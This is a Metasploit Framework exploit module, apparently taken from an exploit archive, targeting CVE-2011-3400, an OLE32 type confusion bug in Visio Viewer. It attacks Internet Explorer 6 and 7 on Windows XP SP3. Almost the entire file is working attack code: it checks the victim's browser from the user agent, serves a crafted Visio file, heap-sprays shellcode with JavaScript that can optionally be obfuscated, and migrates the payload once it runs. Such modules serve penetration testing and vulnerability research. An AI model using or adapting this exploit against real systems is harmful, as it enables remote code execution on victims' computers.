Microsoft Windows OLE Object File Handling Remote Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Microsoft Windows OLE Object File Handling Remote Code Execution",
            'Description'    => %q{
                    This module exploits a type confusion vulnerability in the OLE32 component of
                Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
                function.
 
                A Visio document with a specially crafted Summary Information Stream embedded allows
                to get remote code execution through Internet Explorer, on systems with Visio Viewer
                installed.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Luigi Auriemma', # Vulnerability discovery and PoC
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2011-3400' ],
                    [ 'OSVDB', '77663'],
                    [ 'BID', '50977' ],
                    [ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ],
                    [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ]
                ],
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00",
                    'DisableNops' => true
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [
                        'IE 6 on Windows XP SP3 / Visio Viewer 2010',
                        {
                            'Offset'    => '0x7ee - code.length',
                            'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
                        }
                    ],
                    [
                        'IE 7 on Windows XP SP3 / Visio Viewer 2010',
                        {
                            'Offset'    => '0x7ee - code.length',
                            'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Dec 13 2011",
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)
 
    end
 
    def get_target(agent)
        # If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
 
        if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
            return targets[1]  # IE 6 on Windows XP SP3
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
            return targets[2]  # IE 7 on Windows XP SP3
        else
            return nil
        end
    end
 
    def exploit
        @vsd = create_vsd
        super
    end
 
    def on_request_uri(cli, request)
 
        agent = request.headers['User-Agent']
        my_target = get_target(agent)
 
        # Avoid the attack if the victim doesn't have the same setup we're targeting
        if my_target.nil?
            print_error("Browser not supported: #{agent}")
            send_not_found(cli)
            return
        end
 
        print_status("Client requesting: #{request.uri}")
 
        if request.uri =~ /\.vsd$/
            @vsd[5106, 2] = my_target['PtrToHeap']
            print_status("Sending Exploit VSD")
            send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' })
            return
        end
 
        p = payload.encoded
 
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
 
        js_pivot = <<-JS
        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");
 
        while (nops.length < 0x80000) nops += nops;
        var offset = nops.substring(0, #{my_target['Offset']});
        var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
 
        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);
 
        heap_obj.gc();
        for (var i=1; i < 0x1e0; i++) {
            heap_obj.alloc(block);
        }
        JS
 
        js_pivot = heaplib(js_pivot, {:noobfu => true})
 
        if datastore['OBFUSCATE']
            js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot)
            js_pivot.obfuscate
        end
 
        vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
        vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd"
 
        html = %Q|
        <html>
        <head>
        <script>
        #{js_pivot}
        </script>
        </head>
        <body>
 
        <object classid="clsid:F8CF7A98-2C45-4c8d-9151-2D716989DDAB" ID="target">
        <param name=src value="#{vsd_uri}">
        </object>
        </body>
        </html>
        |
 
        html = html.gsub(/^\t\t/, '')
 
        print_status("Sending html")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
 
    def create_vsd
        path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" )
        fd = ::File.open( path, "rb" )
        vsd = fd.read(fd.stat.size)
        fd.close
        return vsd
    end
 
end



#  0day.today [2018-03-01]  #